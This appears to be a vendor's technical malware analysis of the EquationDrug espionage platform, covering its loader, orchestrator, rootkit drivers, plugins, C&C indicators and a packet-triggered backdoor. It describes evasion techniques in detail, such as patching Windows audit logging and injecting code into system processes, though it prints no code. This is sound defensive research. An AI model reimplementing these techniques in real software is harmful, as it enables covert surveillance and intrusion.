- 2007.12.11
- 2009.04.16
- 2011.10.20
- 2012.08.31
- 2013.06.11
- 2001.08.23
- 2007.12.17
- 2009.06.05
- 2011.10.26
- 2012.09.28
- 2013.06.26
- 2003.08.16
- 2008.01.01
- 2009.12.15
- 2012.03.06
- 2012.10.23
- 2013.08.09
- 2003.08.17
- 2008.01.23
- 2010.01.22
- 2012.03.22
- 2012.11.02
- 2013.08.28
- 2005.03.16
- 2008.01.24
- 2010.02.19
- 2012.04.03
- 2012.11.06
- 2013.10.16
- 2005.09.08
- 2008.01.29
- 2010.02.22
- 2012.04.04
- 2013.01.08
- 2013.11.04
- 2006.06.15
- 2008.01.30
- 2010.03.27
- 2012.04.05
- 2013.02.07
- 2013.11.26
- 2006.09.18
- 2008.04.24
- 2010.06.15
- 2012.04.12
- 2013.02.21
- 2013.12.04
- 2006.10.04
- 2008.05.07
- 2011.02.09
- 2012.07.02
- 2013.02.22
- 2013.12.05
- 2006.10.16
- 2008.05.09
- 2011.02.23
- 2012.07.09
- 2013.02.27
- 2013.12.13
- 2007.07.12
- 2008.06.17
- 2011.08.08
- 2012.07.17
- 2013.04.16
- 2007.10.02
- 2008.09.17
- 2011.08.30
- 2012.08.02
- 2013.05.08
- 2007.10.16
- 2008.09.24
- 2011.09.02
- 2012.08.03
- 2013.05.14
- 2007.12.10
- 2008.12.05
- 2011.10.04
- 2012.08.14
- 2013.05.24
## Conclusions
EquationDrug represents the main espionage platform from the Equation Group. It’s been in use for over 10 years, replacing EquationLaser until it was replaced itself by the even more sophisticated GrayFish platform.
The EquationDrug case demonstrates an interesting trend that we have been seeing while analyzing supposedly nation-state cyberattack tools: a growth in code sophistication. It is clear that nation-state attackers are looking for better stability, invisibility, reliability, and universality in their cyberespionage tools. You can make a basic browser password-stealer or a sniffer within days. However, nation-states are focused on creating frameworks for wrapping such code into something that can be customized on live systems and provide a reliable way to store all components and data in encrypted form, inaccessible to normal users.
While traditional cybercriminals mass-distribute emails with malicious attachments or infect websites on a large scale, nation-states create automatic systems infecting only selected users. While traditional cybercriminals typically reuse one malicious file for all victims, nation-states prepare malware unique to each victim and even implement restrictions preventing decryption and execution outside of the target computer.
Sophistication of the framework is what makes this type of actor different from traditional cybercriminals, who prefer to focus on payload and malware capabilities such as implementing a long list of custom third-party software credential database parsers.
The difference in tactics between cybercriminals and nation-state attackers appears to be due to relative resource availability. It’s known that cybercriminals attempt to infect as many users as possible and that they can sometimes compromise hundreds of thousands of systems. It would take many years to check all those machines manually, analyzing who owns them, what data is stored on them, and what custom software they run. Cybercriminals probably don’t even have enough disk space to collect all the potentially interesting data from the victims hit by their large-scale infections. That is why cybercriminals prefer to extract tiny chunks of the most important data (credentials, credit card numbers, etc.) on the machine of the victim and transfer only a few kilobytes from each compromised host. Such data, when combined from all users, normally takes up gigabytes of disk space.
Nation-state attackers have sufficient resources to store as much data as they want. They have access to virtually unlimited data storage. However, they don’t need, and often try to avoid, infecting random users, for the obvious reason of avoiding attention and remaining invisible. Implementing custom data format parsers in the malware not only doesn’t help them find all the valuable data on the victim’s machine, but may also attract extra attention from security software running on the system. They mostly prefer to have a generic remote system management tool that can copy any information they might need even if it causes some redundancy. However, copying large volumes of information might slow down network connection and attract attention, especially in some countries with poorly developed internet infrastructure.
To date, nation-state attackers have had to balance between these two poles: copying victims’ entire hard drives while stealing only tiny bits of passwords and keys.
Now, if you wonder why EquationDrug, a powerful cyberespionage platform, doesn’t provide all stealing capability as standard in its malware core, the answer is that they prefer to customize the attack for each one of their victims. Only if they have chosen to actively monitor you and the security products on your machines have been disarmed, will you receive a plugin for the live tracking of your conversations or other specific functions related to your activities. We believe modularity and customization will become a unique trademark of nation-state attackers in the future.
Some code paths in EquationDrug modules lead to OS version checks including a test for Windows 95, which is accepted as one of the supported platforms. While some other checks will not pass on Windows 95, the presence of this code means that this OS was supported in some earlier variants of the malware. Considering this and the existence of components designed to run on Windows 9x (such as VXD-files), as well as compilation timestamps dating back to early 2000s, the hypothesis that these attackers have been active since the 90s seems realistic. This makes the current attacker an outstanding actor operating longer than any other in the field.
## Technical Details
### Kernel mode stage 0 (Windows 9x) – mssvc32.vxd
- **MD5**: 0a5e9b15014733ee7685d8c8be81fb0d
- **Size**: 6,710 bytes
- **Format**: Linear Executable (LE)
This VXD driver handles only two control messages: W32_DeviceIoControl and Dynamic_Init. The DeviceIoControl part is not completely implemented and the driver is only able to check for some known control codes. However, it does nothing. This handler looks more like a code stub rather than actual payload. On the Dynamic_Init event, the driver retrieves the location of the user-mode loader executable from the following registry value:
[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] Config
If the value is not present in the registry, it uses the following fallback string hardcoded in the binary: C:\WINDOWS\SYSTEM\SVCHOST32.EXE. Next, it installs a callback procedure using Windows function _SHELL_CallAtAppyTime. This procedure will be called when CPU is running in ring-3 mode, so that a new executable (loader process) can be started via the traditional way. This is a standard trick that was used by developers in the 90s to initiate a call to DLL export in ring-3 from ring-0 in Windows 9x OS family.
### Kernel mode stage 0 and rootkit (Windows 2000 and above) – msndsrv.sys
- **MD5**: c4f8671c1f00dab30f5f88d684af1927
- **Size**: 105,392 bytes
- **Format**: PE32 Native
- **Compiled**: 2008.01.23 14:12:33 (GMT)
- **Location**: %System32%\drivers\msndsrv.sys
This module can create log files in the following known locations:
- %systemroot%\system32\mslog32.dat
- %systemroot%\system32\msperf32.dat (default location)
The driver acts as the first stage of the EquationDrug platform on Windows 2000+ and implements rootkit functions for hiding the components of the platform. Additionally, it implements a NDIS driver for filtering network traffic.
When started and initialized, the driver retrieves the location of the user-mode loader executable from the registry value:
[HKLM\System\CurrentControlSet\Services\%driver name%] Config
The %driver name% is not hardcoded and is obtained dynamically from the current module name, which means that different instances may check different registry keys and this may not be a reliable way to check for infection. The sample we analyzed used “msndsrv” as the %driver name%. Next, it crafts and injects a shellcode in “services.exe” or “winlogon.exe”. The shellcode is designed to spawn the loader process from the executable called “mscfg32.exe”. The rootkit code in the driver hooks several Native API functions that lets it hide or protect registry keys, files, and running processes. The components of EquationDrug can modify the list of protected objects by sending DeviceIoControl messages to the driver. The driver also maintains a persistent list of protected objects that is stored in the following registry values:
- [HKLM\System\CurrentControlSet\Services\%driver name%] 1
- [HKLM\System\CurrentControlSet\Services\%driver name%] 2
These values are also protected by the rootkit. They can be revealed by booting Windows in Safe Mode. The driver contains the following unused strings:
- \\.\mailslot\dskInfo
- Dissecorp
### User-mode loader – mscfg32.exe, svchost32.exe
- **MD5**: c3af66b9ce29efe5ee34e87b6e136e3a
- **Size**: 22,016 bytes
- **Format**: PE32 EXE
- **Compiled**: 2008.01.23 14:26:05 (GMT)
- **Location**: %System32%\mscfg32.exe
This module opens a unique event named “D0385CB7-B834-45d1-A501-1A1700E6C34E“. If the event exists, it waits for 10 seconds and attempts to open a file whose name can be decrypted as “\\.\MSNDSRV“. If the device file is successfully opened, the code issues a device request with IOCTL code 0x80000194 and no parameters. This module uses RC5 in CBC-like mode with a key length of 96-bit for string encryption. Careful analysis reveals some bits of uninitialized memory found next to encryption key locations. This is unused but partly meaningful memory, because it seems to contain short chunks of strings resembling some local file paths:
- “rver\8” (probably part of “Server\8…” string)
- “LInj” (could be a part of “DLLInjector” or similar)
It’s apparent that some parts of the code were designed to run on Windows 9x, for example, a call to RegisterServiceProcess Windows API function makes sense only on Windows 9x OS family, because this API function doesn’t exist on Windows NT platform.
The module uses a unique algorithm for generating registry value names. The code contains strings, such as “SkyhookChow Target“, that are converted to GUID-like strings by calculating SHA1 hash and using its hexadecimal representation as a string. The resulting strings are used as actual registry value names in [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] registry key.
### Sample registry value names:
- **Original String**: SkyhookChow Target
- **GUID-like registry value name**: {B6F5CD13-A74D-8B82-A6AA-6FA1BE2484C1-6832DF06}
- **Original String**: SkyhookChow Payload
- **GUID-like registry value name**: {F4CF0326-6DCD-EEC8-5323-01CEDB66741A-B55F6F12}
These registry values are encrypted using an RC5 algorithm using a hardcoded 1024-bit key with 24 rounds. The registry value:
[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {F4CF0326-6DCD-EEC8-5323-01CEDB66741A-B55F6F12} (“SkyhookChow Payload”) should contain the location of the orchestrator DLL file (“mscfg32.dll”). If the value is not present, a default value “%SYSTEM%\mscfg32.dll” is used. The registry value:
[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {B6F5CD13-A74D-8B82-A6AA-6FA1BE2484C1-6832DF06} (“SkyhookChow Target”) may contain the location of the executable file that will be used as a “shell” process for the orchestrator library. The module attempts to start the “shell” process in suspended mode. If there is no “SkyhookChow Target” value or the specified executable fails to start, the module tries different failsafe locations of the programs that can be used instead:
1. Default browser set in the registry [HKLM\SOFTWARE\Clients\StartMenuInternet\{current @default value}\shell\open\command]
2. %SystemRoot%\System32\svchost.exe
3. %SystemRoot%\System32\lsass.exe
4. Spoolsv service binary from the [HKLM\SYSTEM\CurrentControlSet\Services\Spooler] ImagePath registry value.
5. Default html file handler from [HKLM\SOFTWARE\Classes\htmlfile\shell\open\command] registry value.
6. Internet Explorer path from [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\] IEXPLORE.EXE registry value.
Next, the module injects extra code into a newly started target process. The injected code loads the payload DLL (“mscfg32.dll”) into the target process and waits for the parent process to exit. When the parent process quits, it unloads the payload DLL and exits as well. The rest of the logic relies on the loaded DLL in that new process. See the description of the “mscfg32.dll” module below.
The module communicates with the Stage0/Rootkit driver “msndsrv.sys” by sending DeviceIoControl messages to the device “\\.\MSNDSRV”. It activates the rootkit for its own process, for the target process holding the orchestrator, and for all the files involved.
### Platform orchestrator – mscfg32.dll, svchost32.dll
- **MD5**: 5767b9d851d0c24e13eca1bfd16ea424
- **Size**: 249,856 bytes
- **Format**: PE32 DLL
- **Compiled**: 2008.01.24 22:11:34 (GMT)
- **Location**: %System%\mscfg32.dll
Creates mutex: “01C482BA-BD31-4874-A08B-A93EA5BCE511“, or terminates if one already exists. Writes a timestamped log file to one of the following locations:
- %SystemRoot%\temp\~yh56816.tmp
- C:\Windows\Temp\~yh56816.tmp
- %Registry_SystemRoot_Value%\temp\~yh56816.tmp
- Value of [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] D
The file “~yh56816.tmp” retains the history of execution. It comprises debug records of simple structure:
- Stage: DWORD | DateTimeLow: DWORD | DateTimeHigh: DWORD
Basically, it logs the execution of every stage of the orchestrator and the time of execution. The Stage is an integer number starting from 1. This module spawns a new thread in the DllMain function which contains the main function body. The procedure disables application error popups shown by the default exception handler. This is probably done only in the “Release” version of the malware, because the following code generates exceptions that are reported to the user if application error popups are not disabled. We assume that the “Debug” version of the code doesn’t suppress error popups when an exception occurs as this helps with the debugging of the code.
The module checks the OS version and if it encounters an unsupported operating system, the code generates an exception which terminates the application. The list of OS versions that pass this test:
- Windows 95/98/ME
- Windows NT 4.0 and above.
If the module runs on Win9x, it executes Win9x-specific function RegisterServiceProcess to hide from the Windows Task Manager application. If the module is NOT running on WinNT6.0+, it then attempts to open a virtual device file with one of the following names:
- \\.\MSSVC32 on Win9x
- \\.\MSNDSRV on WinNT
If the device file is successfully opened, the module activates a rootkit for its process and for the file location “%SYSTEM%\unilay.dll” local path. This is followed by finding and terminating a process named “winproc.exe” which is the name of another component of the platform. Note that this part of the code is executed only on platforms different from WinNT 6.x (Windows Vista and later).
The module was designed to fetch or update its main configuration data from different places. There are some default values set inside the code, such as some timeout values and the following C&Cs:
- www.waeservices[.]com
- 213.198.79.49
These default values can be overwritten later. Next, it locates a data section called “Share2” in the current module and verifies the starting magic number. If it is 0x63959700, it then decrypts the rest of the data in the section and interprets it as a configuration block. However, data from the next location can override all previous settings. This is a registry value with a special name. The naming of the registry location is the same GUID-like SHA1 value as the one used in the loader (“mscfg32.exe”), and is produced from the source string “Configuration”:
[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {42E14DD3-F07A-78F1-7659-26AE141569AC-E0B3EE89}
The configuration block stored in the registry value is encrypted using RC5 with the 1024-bit key. Both the loader and the orchestrator share the same key for encrypting and decrypting the registry values in the “MemSubSys” key.
The decrypted configuration block consists of a series of tagged configuration records in the following format:
[RecordType:DWORD][RecordSize: DWORD][RecordValue: %RecordSize%]
We retrieved a copy of a configuration block and decrypted and partly interpreted it. We are including the results for one of the configuration blocks:
- Time value: 1 year 0 months 1 days 22 hours 6 mins 52 secs. The orchestrator is expected to set this field to the time of initial configuration.
- Binaries: 3×1024-bit encryption keys
- C&C domain: www[dot]waeservices[dot]com
- C&C IP address: 213.198.79.49
- C&C port: 443
- Timestamp: 2010-12-08 11:35:57
- Tool Reference: VTT/82055898/STEALTHFIGHTER/ 2008-10-16/14:59:06.229-04:00
- TimeoutA: 25200 sec (7 hours)
- TimeoutB: 32400 sec (9 hours)
- TimeoutC: 3600 sec (1 hour)
- TimeoutD: 172800 sec (48 hours)
- Several Unknown Values
Other configuration blocks we discovered contained similar information, with only some unique values:
- Timestamp: 2009-11-23 14:10:15
- Tool Reference: Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00
- Tool Reference: VTT/82073737/STRAITACID/2008-09-03/10:44:56.361-04:00
- Tool Reference: STRAITSHOOTER30.ex_
- Tool Reference: VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00
- Tool Reference: BACKSNARF_AB25
During the next step, the module obtains PE file version information from the resource section. It loads the version info using hard-coded module names, which are supposed to match the current module name:
- SVCHOST32.DLL for Windows 9x
- MSCFG32.DLL for Windows NT
If file version information is available, it gets language-specific values of the PrivateBuild block. The codepage and languages that are verified: Unicode, LANG_NEUTRAL, and LANG_ENGLISH_US. When this check passes, the module gets @default registry value from the following location:
[HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}] TypeLib
If the key is not found, the code checks for registry value TypeLib in the following key:
[HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}]
If such a value is found, it is then deleted along with the Version value if it exists in the same key. The string obtained from one of two possible registry values is processed as if this value is a CLSID-like string: the code takes the last 16 hexadecimal digits, splits them into two 8-char values, converts them to binary form (two DWORDs), and reverses the order of bytes in each DWORD and XORs, the first value with 0x8ED400C0, and the second with 0x4FC2C17B. Next, the first DWORD value becomes second and the second becomes first. In this order, they are stored in a structure in memory. These two values seem to be very important as they override a few values in the previously known configuration. If they don’t exist, values from the current configuration replace them and are stored back in the registry following the reverse procedure:
1. [HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\Version] is created and @default value is set to version obtained from file version information PrivateBuild field (i.e. 3.04.00.0001). This seems to be used as kit version number.
2. [HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\Version] is created and @default value is set to a CLSID-like string generated from the following:
- Fixed prefix string: “{8C936AF9-243D-11D0-“
- Two important DWORD values in the format of “%04X-%04X%08X}” string.
We collected and decrypted several samples of such values. According to the code, they are initialized with values of the Microsoft filetime format. So, we decided to interpret them as filetime values:
- 20101C04EC2C17B: 1 year(s) 7 month(s) 21 day(s) 23 hour(s) 32 min(s) 1 sec(s)
- 81E01C04EC2C17B: 1 year(s) 7 month(s) 8 day(s) 12 hour(s) 13 min(s) 5 sec(s)
- E0001C04EC2C17B: 1 year(s) 7 month(s) 21 day(s) 1 hour(s) 6 min(s) 15 sec(s)
- 77101C04EC2C17B: 1 year(s) 5 month(s) 20 day(s) 19 hour(s) 15 min(s) 4 sec(s)
- 30F01C04EC2C17B: 1 year(s) 8 month(s) 0 day(s) 6 hour(s) 10 min(s) 33 sec(s)
- C0901C04EC2C17B: 1 year(s) 8 month(s) 2 day(s) 6 hour(s) 29 min(s) 39 sec(s)
- 66701C04EC2C17B: 1 year(s) 6 month(s) 9 day(s) 2 hour(s) 10 min(s) 23 sec(s)
- F6501C04EC2C17B: 1 year(s) 6 month(s) 6 day(s) 19 hour(s) 53 min(s) 22 sec(s)
- 01401C04EC2C17B: 1 year(s) 6 month(s) 25 day(s) 23 hour(s) 34 min(s) 13 sec(s)
After that, the module stores current time values in encrypted form in the registry value:
[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {08DAB849-0E1E-A1F0-DCF1-457081E091DB-117DB663} (encoded SHA1 of “StartTime”). The module contains an additional compressed Windows DLL file in the resource section, which is extracted as “unilay.dll”. This DLL exports a number of functions that are just wrappers of the system API used to work with files and the registry, and also start processes and load additional DLL files.
The orchestrator contains several built-in plugins that form the core of the platform. These are initialized in the first place, and then additional plugins are loaded. All the plugins are indexed in a single encrypted registry value:
[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] 1
This value has information about all the components of the current kit. It may include Unicode strings with paths to extra DLLs which serve as plugins. Each DLL exports at least four functions which are imported by ordinal numbers from 1 to 4. The structure of the registry value “1”:
[Count:DWORD]{ [Plugin Id:WORD][Plugin Path Length:DWORD][Plugin Path String:VARIABLE] }
Plugins interact with each other and with the orchestrator by exchanging messages of pre-defined format. The message transport is implemented as a global object that contains four communication streams. Every stream contains a pair of kernel synchronization object handles (a semaphore with fixed maximum value defaulted to 1000 and a mutex) and a message queue as an array. A dedicated thread processes messages that appear in the message queues. A message arrives in a parcel, represented as two DWORD values that contain the size of the message and a pointer to the message data. The message data starts with a DWORD identifying a class of message (a request, reply, etc).
The orchestrator contains the following built-in plugins (listed by internal ID): 8000, 8022, 8024, 803C, 8046, 800A, 8042, 8002, 8004, 8006, 8008, 8070, 808E. Several additional built-in modules have been discovered in newer versions of the orchestrator that was shipped with the GrayFish platform.
### EquationDrug Plugins:
| Plugin ID | File name | Description |
|-----------|-----------|-------------|
| 8000 | Built-in | Core, basic API for other modules |
| 8002 | wshcom.dll| C&C communication using Windows sockets |
| 8004 | Built-in | Additional message queue |
| 8006 | Built-in | Memory allocation / storage |
| 8008 | vnetapi32.dll | C&C communication code based on DoubleFantasy, using WinInet API |
| 800A | Built-in | C&C communication orchestrator |
| 800C | perfcom.dll | HTTP communication |
| 8022 | khlp680w.dll | System API: execute processes, load libraries, manipulate files and directories |
| 8024 | cmib158w.dll | Collects system information: OS version, computer name, user name, locale, keyboard layout, timezone, process lists |
| 8034 | cmib456w.dll | Management of the VFS backed by encrypted “.FON” files in the “Fonts\Extension” directory. Provides encryption using RC5 for these files |
| 803E | nls_874w.dll | Network sniffer |
| 803C | Built-in | Communication with the NDIS filter part of “msndsrv.sys” |
| 8040 | khlp807w.dll | Network exploration API, share enumeration and access |
| 8042 | Built-in | Compression library based on Nrv2d / UCL |
| 8046 | Built-in | Communication with the rootkit part of “msndsrv.sys” |
| 8048 | mstkpr.dll | Disk forensics and direct NTFS reader based on sources of SleuthKit |
| 8050 | khlp760w.dll | Additional encryption facilities for the file-backed VFS |
| 8058 | khlp733w.dll | Collects local system information, WMI information, cached passwords |
| 8070 | khlp747w.dll | Enumerates processes and system objects |
| 807A | mscoreep32.dll | Plugins for monitoring Internet Explorer and Mozilla browser activities |
| 808A | khlp866w.dll | Compression library based on Zlib |
| 808E | Built-in | Reverse (PTR record) DNS resolver |
| 8094 | Built-in | In-memory storage |
| 809C | Built-in | In-memory storage |
| 80AA | nls933w.dll | HDD / SSD firmware manipulation |
| 80AE | wpl913h.dll | Keylogger and clipboard monitoring (aka “GROK”) |
| 80BE | vnetapi.dll | C&C communication via WinHTTP API |
| 80C6 | webmgr.dll | Extracts web history, Mozilla/Internet Explorer-saved form data and cached credentials |
| 80CA | wshapi.dll | C&C communications interface via Windows sockets |
### Additional components
#### Unilay.DLL
This module provides a compatibility layer for accessing system API functions for Windows 9x. It redirects Unicode (“W”) variants of Windows API functions to corresponding ANSI variants by converting Unicode string parameters to multi-byte strings and calling the respective ANSI API.
- **MD5**: EF4405930E6071AE1F7F6FA7D4F3397D
- **Size**: 9,728 bytes
- **Compiled**: 2008.01.23 14:23:10 (GMT)
- **Format**: PE32 DLL, linker version 6.0 (Microsoft Visual C++ 6.0)
Exported functions (redirected to ANSI variants):
- CopyFileW
- CreateDirectoryW
- CreateFileW
- CreateProcessW
- DeleteFileW
- FindFirstChangeNotificationW
- FindFirstFileExW
- FindFirstFileW
- FindNextFileW
- GetCurrentDirectoryW
- GetFileAttributesW
- GetStartupInfoW
- GetSystemDirectoryW
- GetWindowsDirectoryW
- LoadLibraryW
- MoveFileExW
- MoveFileW
- RegCreateKeyExW
- RegDeleteKeyW
- RegDeleteValueW
- RegEnumKeyExW
- RegEnumValueW
- RegOpenKeyExW
- RegQueryInfoKeyW
- RegSetValueExW
- RemoveDirectoryW
- SHGetFileInfoW
- SetCurrentDirectoryW
- SetFileAttributesW
- lstrcmpW
#### Network-sniffer/patcher – atmdkdrv.sys
- **MD5s**: 8d87a1845122bf090b3d8656dc9d60a8, 214f7a2c95bdc265888fbcd24e3587da
- **Size**: 41,440, 43,840 bytes
- **Format**: PE32 Native
- **Compiled**: 2009.04.16 17:19:30 (GMT), 2008.05.07 19:55:14 (GMT)
Creates a file storage “\SystemRoot\fonts\vgafixa1.fon“. Its first word is set to 0x21 at the beginning of the DriverEntry function and is replaced with 0x20 at the end of DriverEntry. This driver appears to have been put together in “quick-and-dirty hack” style, using parts of the “mstcp32.sys” sniffer and other unknown drivers. It contains a lot of unused code which is partially broken or disabled. These include a broken “Dynamically disable/enable windows audit logging” subsystem and an incomplete “Patcher mode”.
There are three algorithms used for strings encryption – RC5; alphabet encryption like the one used in “mstcp32.sys”; and XOR with a pre-seeded random number generator. Decrypted strings are immediately encrypted back until the next usage to avoid in-memory detection.
The driver’s filename and device name differ across the samples. They depend on the name of the registry key that is used to start the driver. The driver may operate in one of two independent modes – as a network sniffer or as a memory patcher. The mode of operation is selected on startup, based on the “Config2” value of the driver’s registry key. By default, the driver starts in “sniffer mode”.
**Sniffer mode**: The sniffer code is similar to the one used in the driver’s “tdip.sys” and “mstcp32.sys” and uses NT4 NDIS-4, XP NDIS-5 interfaces, targeting incoming traffic on Ethernet and VPN (ndiswanip) interfaces. It captures only directed packets (containing a destination address equal to the station address of the NIC). Packers-filtering engine rules may be set via DeviceIoControl messages. Filtered packets are stored in-memory until requested. Maximum packets storage list length is 128 items per filtering rule.
**Patcher mode**: Almost broken, it does nothing interesting except, possibly, replace the thread’s ServiceTable to an unchanged, clear copy taken from the on-disk image of “ntoskrnl.exe”.
**Sniffer only IOCTLs**:
- 44038004 – add filtering rule
- 44038008 – clear stored packet in specified filtering rules list
- 4403800C – enable specified filtering rule
- 44038010 – disable specified filtering rule
- 44038014 – get stored packet from specified filtering rules list
- 44038018 – process packet like the one received from the wire (filter and store)
- 4403801C – set maximum rules list length
- 44038020 – get maximum rules list length
- 80000004 – enablePacketsFiltering
- 80000008 – disablePacketsFiltering (PauseSniffer)
- 800024B4 – send packet to the specified network interface
**Common IOCTLs**:
- 80000028 – do nothing (broken/unused part)
- 80000038 – set external object (broken/unused part)
- 8000003C – get 4 dwords struct (broken/unused part)
- 80000040 – copy 260 bytes from the request (broken/unused part)
- 80000320 – set I/O port mapping (broken/unused part)
- 80000324 – clear I/O port mapping (broken/unused part)
- 80000328 – set external PnP Event (broken/unused part)
- 80000640 – replace specified thread’s SDT (ETHREAD.ServiceTable field) to a given copy
#### Backdoor driven by network sniffer – “mstcp32.sys”, “fat32.sys”
- **MD5s**: 74DE13B5EA68B3DA24ADDC009F84BAEE, B2C7339E87C932C491E34CDCD99FEB07, 311D4923909E07D5C703235D83BF4479, 21C278C88D8F6FAEA64250DF3BFFD7C6
- **Size**: 57,328 – 57,760 bytes
- **Format**: PE32 Native
- **Compiled**: 2007.10.02 12:42:14 (GMT), 2001.08.17 20:52:04 (GMT)
This is a sniffer tool similar to “tdip.sys” and it uses NT4 NDIS-4, XP NDIS-5 interfaces. It targets incoming traffic on Ethernet and VPN (ndiswanip) interfaces, but instead of dumb packet dumping, it uses received packets as commands for the “process injector” subsystem that is able to extract and execute code from the specially crafted network packets.
Default filtering rules are stored in the “Options” registry value of the driver’s registry key. It captures only directed packets (containing a destination address equal to the station address of the NIC). The driver’s filename and device name differ across the samples. They depend on the name of the registry key that is used to start the driver.
**Code Patcher**: The driver patches OS code to dynamically disable or enable Windows audit logging. It patches the function “LsapAdtWriteLog” in “lsasrv.dll” module of the “lsass.exe” process. It searches for pre-defined signatures of the function “LsapAdtWriteLog” of known Windows versions – 4.0, 5.0, 5.1, 5.2 (NT4, Win2000, XP, WinSrv2003). Then it selects a corresponding offset to replace the opcodes:
- ‘jz’ to never taken ‘jo’ in case of XP
- jmp over inner logic to procedure epilog in case of Windows Server 2003 so LsapAdtWriteLog skips logging of audit records
The module also patches “SepAdtLogAuditRecord” inside “ntoskrnl.exe” to “retn 4” instead of the first opcode of the function. The disabled audit can be restored after a timeout or on-event by a dedicated thread.
**Expected IOCTL codes**:
- 80000004 – setFilteringRules
- 80000008 – disablePacketsFiltering (PauseSniffer)
- 80000028 – do nothing (possible broken GetDriverName)
- 80000038 – disable_audit
- 8000003C – enable_audit
#### Code Injector
The code-builder within this module facilitates exploitation by providing up to four predefined execution templates, which seem to be suitable for generating several code patterns. Below is a list of the execution templates we found:
- locate a DLL via PEB structure and resolve exports
- call single function
- call four functions
- call six functions
Using these as a base for the templates, the code-builder inserts parameters and proper offsets to call one of the following code patterns:
- Locate and call WinExec
- Locate and call LoadLibraryW, GetProcAddress, call exported procedure, FreeLibrary
- Locate and call LoadLibraryW, GetProcAddress, call GetModuleHandle, FreeLibrary
- Locate and call OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, VirtualFreeEx, CloseHandle
The code injection procedure allocates memory via ZwAllocateVirtualMemory in services.exe and copies implanted code. After that, it uses KeInsertQueueApc to let the code run and waits 30 seconds for APC to complete. When the module starts, it reads registry value [HKLM\System\CurrentControlSet\Services\%driver name%] Processes. This value may contain a list of process names that should be started by injected executable code but only after services.exe and winlogon.exe have been started. The injection of code into winlogon.exe and services.exe ensures that the newly started process will have SYSTEM user privileges. During the injection stage, Windows Audit Logging is fully disabled to avoid leaving any suspicious records in Windows Logs.
**Magic Packet Recognition**: All incoming packets are first filtered by BPF-like rules. The filtering rules are located in [HKLM\System\CurrentControlSet\Services\%driver name%] Options registry value or passed via corresponding IOCTL. Packets that passed through the filter are added to the end of the processing queue. Packets from the queue must have valid checksum values. After checking that, the code XOR-decrypts additional data from the end of the packet. The decrypted end of the packet contains another control structure that defines which encryption algorithm is used to decipher the packet body. Supported algorithms include RC5 and RSA. There is a 1024-bits RSA public key hardcoded inside the module body, while a 96-bits RC5 key is generated dynamically. The backdoor command may arrive in a single packet or be split into pieces and come with several packets. There is a procedure for re-assembling pieces together: a multi-packet command is added to a special packet collector which puts all the pieces together before passing it further.
**Backdoor command is stored in the first byte of the decrypted request and can be one of the following values**:
- **0**: StatusCheck - Reply with encrypted DriverName, packet collector keys, “Processes” and “Params” registry values, names of processes for code injection (defaults are “services.exe” and “winlogon.exe”), list of unprocessed commands from packet collector.
- **1**: Panic - Disable packet filtering, securely delete driver file, clear related registry keys, set ClearPageFileAtShutdown flag, unbind adapters, delete devices and prepare for unloading. However, the driver cannot unload itself and it remains in the memory until reboot, which means it can be detected via DRIVER_OBJECT structure.
- **2**: CodeInject - Injects code implant received from packet body.
- **3**: CallWinExec - Disable Windows Audit and start new process via standard code injection in Winlogon.exe.
- **4**: ResetCollector - Drop all packets with specific key from packet collector.
- **5**: Unused or disabled
- **6**: GenerateRC5Key - Generates RC5 session key. 96-bits RC5 key is generated by taking a SHA1 hash of value from KeTickCount, XOR-encrypt with SHA1 hash of two PerformanceFrequency values, which is followed by nine more additional SHA1 hashing.
- **7**: SetRegProcesses - Sets new “Processes” registry value.
- **8**: DeleteRegProcesses - Deletes current “Processes” registry value.
- **9**: SetRegParams - Sets a universal “Params” registry value which is used for storing any information, i.e. could be a unique victim marker or exploitation stage number.
- **a**: Unused or disabled
- **b**: Ping - Reply with classic ICMP Echo Response packet.
- **c**: ChangeInjectTarget - Set new target injection processes (defaults are “Winlogon.exe” and “Services.exe”). Effective until reboot.
**Note**: “mstcp32” is mentioned together with rootkit-like behavior in 2004.
#### Network Sniffer – tdip.sys
- **MD5s**: 20506375665a6a62f7d9dd22d1cc9870, 60dab5bb319281747c5863b44c5ac60d
- **Size**: 22,448 – 28,800 bytes
- **Format**: PE32 Native
- **Compiled**: 2006.10.16 18:42:40 (GMT), 2003.08.17 21:47:33 (GMT)
Supports the following versions of Windows: NT4 using NDIS-4 and XP using NDIS-5. Doesn’t use Vista and later NDIS-6 features. However, later NDIS versions are backward-compatible, so the driver is still valid for current versions of Windows.
**Version Info**:
- FileDescription: IP Transport Driver
- LegalCopyright: © Microsoft Corporation. All rights reserved.
- FileVersion: 5.1.2600.2180
- InternalName: tdip.sys
This driver is a packet sniffer for incoming-only traffic on Ethernet and VPN (ndiswanip) interfaces or any used with ms_pschedmp as an alternative connection. It implements a BPF (Berkeley packet filter) style packet-filtering system that is configured from the driver’s registry configuration values or from DeviceIoControl messages. The captured network packets may be written to disk in libpcap format (magic 0xA1B2C3D4 version 2.4) and encrypted with one-byte XOR, key 0xE3.
The driver’s configuration is stored in the registry key:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tdip]
- Options – packet filtering rules in BPF format
- Tag – selector of filtered packet types / Defaults in case of MediumWan to NDIS_PACKET_TYPE_BROADCAST|NDIS_PACKET_TYPE_MULTICAST|NDIS_PACKET_TYPE_DIRECTED; (or NDIS_PACKET_TYPE_BROADCAST|NDIS_PACKET_TYPE_DIRECTED in any other case)
- ImageFile – full path name to the resulting pcap file
